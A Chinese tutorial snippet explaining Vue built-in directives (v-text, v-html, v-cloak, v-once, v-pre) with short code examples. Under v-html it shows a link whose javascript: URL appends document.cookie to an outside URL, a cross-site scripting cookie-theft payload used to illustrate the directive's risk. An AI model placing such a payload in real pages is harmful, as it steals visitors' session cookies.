生活随笔
收集整理的這篇文章主要介紹了
vue 内置指令
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
渲染文本 – v-text
<div id="root"><p>{{msg}} {{num}}
</p> ==>
<h1>哈哈哈
</h1> 0
<p v-text="msg">{{num}}
</p> ==>
<h1>哈哈哈
</h1>
</div>
渲染文本+解析標簽 – v-html
<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>百度
</a>
優(yōu)化展示效果 — v-cloak
<style>[v-cloak] {display: none;}
</style><div id="root"><p v-cloak>{{name}}
</p> 防止資源加載慢，影響頁面展示效果
</div>
只干一次 — v-once
<div id="root"><p v-once>初始化的數(shù)據(jù){{num}}
</p><p>更新后的數(shù)據(jù){{num}}
</p><button @click="add">點擊 + 1
</button>
</div>
讓其變成靜態(tài)資源 – v-pre
<div id="root"><p v-pre>哈哈哈
</p><p>初始化的數(shù)據(jù){{num}}
</p><p>更新后的數(shù)據(jù){{num}}
</p><button @click="add">點擊 + 1
</button>
</div>
總結(jié)
以上是生活随笔為你收集整理的vue 内置指令的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。
